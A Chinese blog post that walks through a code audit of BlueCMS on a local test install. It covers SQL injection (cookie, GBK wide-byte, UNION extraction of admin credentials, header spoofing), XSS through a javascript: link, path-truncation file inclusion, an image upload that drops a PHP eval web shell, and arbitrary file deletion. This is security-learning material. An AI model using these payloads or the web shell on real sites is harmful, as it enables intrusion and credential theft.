7、Bluecms代码审计

一、sql注入

环境

流程:将bluecms文件夹放到WWW中,访问文件中的install(安装文件),安装后可以删掉

在这里插入图片描述

成功后直接访问bluecms目录即可

在这里插入图片描述

后台访问报错解决。在php.ini配置文件里找到。关闭后记得重启phpstudy
display_errors = off

在这里插入图片描述
在这里插入图片描述

建议删除安装文件或者将文件名更改

在这里插入图片描述

1、sql注入(Ⅰ)

限制

后台

过程

http://127.0.0.1/bluecms/admin/接口
有index.php首页包含的common.inc.php文件

在这里插入图片描述

在index.php文件里已经设置了 'IN_BLUE' 常量。就继续执行。获取系统设置是否开启,没开启就手动设置将这些请求方式接受的值进行过滤(单引号(')、双引号(”)、反斜线()与 NUL(NULL 字符)反斜杠转义).由于定义的cookies不是cookie,所以只对cookies进行了过滤,对cookie没有影响

在这里插入图片描述

判断admin_id为空,act!=login &!=do_login &!=logout。数据包里没有这些字段,所以成立就进入。

在这里插入图片描述

判断cookie接受的Blue[admin_id]、Blue[admin_name]、Blue[admin_pwd]这些参数是否存在。如果存在就检查cookie里的Blue[admin_name]、Blue[admin_pwd]。

在这里插入图片描述

检查账号密码直接去数据库查询

在这里插入图片描述

此时可以构造cookie判断的参数,让他存在并且进入验证。可以输出sql语句方便查看
此时判断出存在的注入点,并且有单引号

在这里插入图片描述

闭合单引号,用延时语句测试。正常执行时2057

在这里插入图片描述

延时1,时间是11120

在这里插入图片描述
在这里插入图片描述

2、sql注入(Ⅱ)

限制

过程

直接加单引号没有报错,因为是GBK编码格式,可以用两个字符将单引号吃掉,成功报错还带出来sql语句.

在这里插入图片描述

使用报错语句注入没有执行成功,在数据库可以成功。既然是注册就是往数据库插入数据,可以利用插入语句来执行查询其他账户

在这里插入图片描述

执行插入语句在邮箱的位置添加查询数据库的语句,登录插入的账户,在邮箱位置就会显示查询的数据库名

在这里插入图片描述
在这里插入图片描述

3、sql注入(Ⅲ)

限制

过程

在ad_js.php文件里发现sql注入。
get接受的ad_id参数判断是否为空且两边去空,如果参数为空就输出错误结束执行。过程中没有过滤就带入到getone拼接sql语句

在这里插入图片描述

继续跟踪到getone函数,只是一个连接数据库的操作。很明显是存在sql注入的。

在这里插入图片描述

但是访问后发现被转义了,找到最开始的ad_js.php,其中包含的文件/include/common.inc.php。在这个文件里存在一些过滤。addslashes针对单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)

在这里插入图片描述
在这里插入图片描述

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
但是参数并没有在单双引号内,所以不用考虑闭合直接在参数位置注入就可以。测试出7为回显点

在这里插入图片描述
在这里插入图片描述

爆表名:
group_concat(table_name) from information_schema.tables where table_schema=database()
爆列名:
group_concat(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
爆数据:
GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

在这里插入图片描述

既然存在sql注入说明xss也没有过滤

在这里插入图片描述

4、sql注入(Ⅳ)

限制

过程

在评论的地方使用了实体化编码函数进行编码,所以不存在xss

在这里插入图片描述

$online_ip = getip();
getip()函数是在common.inc.php文件里定义的。common.fun.php文件调用了这个函数
这里出现getip()函数,跟进去发现是用来获取真实ip的,getenv(参数)函数是一个用于获取环境变量的函数,根据提供不同的参数可以获取不同的环境变量。获取的真实IP并且没有任何过滤直接插入到数据库。

在这里插入图片描述

访问 guest_book.php转成POST请求方式,构造参数,使用client-ip伪造ip地址

在这里插入图片描述

二、XSS

1、xss(Ⅰ)

限制

过程

让这些条件检查参数是否为空和去空格,都成立就直接拼接了sql语句,过程中没有任何过滤

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、xss(Ⅱ)

限制

后台发布内容,前台触发

过程

user.php
对content参数进行过滤。虽然有过滤但过滤不严谨。
content调用filter_data函数来过滤关键字"/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/"
过滤了script|i?frame|meta|link这几个标签,但是没有过滤img标签

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

title=>标题,color=>颜色,author=>作者,source=>来源,都使用了htmlspecialchars转义。只有content没有做转义处理,所以在这个地方存在xss.
<a href=javascript:alert(1)>dianjichufa</a>点击触发

在这里插入图片描述

三、文件包含

限制

利用文件上传包含上传的马

过程

user.php文件
$_POST['pay']从前端传进来的参数没有任何过滤处理直接拼接了包含的文件,虽然后面还拼接了/index.php,可以通过截断的方式绕过

在这里插入图片描述

利用:
先在bluecms目录下创建个文件text.php内容为phpinfo.尝试能不能访问成功

在这里插入图片描述

在线支付通过抓包将post包添加参数,使用多个点来截断,注意php版本,高版本已修复这个漏洞pay=../../text.php........................................................................................................................................................................................................................................

在这里插入图片描述

可以结合文件上传,传入木马进行getshell

五、文件上传

限制

过程

经过分析上传的图片只对图片类型和图片后缀做了限制,没有对内容过滤,所以只要上传符合条件的图片马就可以

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1.php里写入的代码时生成一个wk.php的文件,内容为一句话木马
<?php @fputs(fopen('wk.php',w),"<?php @eval($_POST['wk']);?>");?>
上传成功后会显示上传后的文件路径

在这里插入图片描述

上传成功后直接访问利用图片马生成的文件,利用hacker构建post请求,执行命令输出phpinfo

在这里插入图片描述

六、任意文件删除

限制

过程

利用seay审计工具自动审计功能,此功能不能完全正确,需求手动确认

在这里插入图片描述

定位跟踪到相关文件以及对应的参数。接受参数id直接拼接sql删除语句,显示删除了数据库的id值,再去判断本地文件是否存在,如果存在就删除

在这里插入图片描述

在当前目录随便创建个文件,构造删除语句。

在这里插入图片描述
在这里插入图片描述

  • 8
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值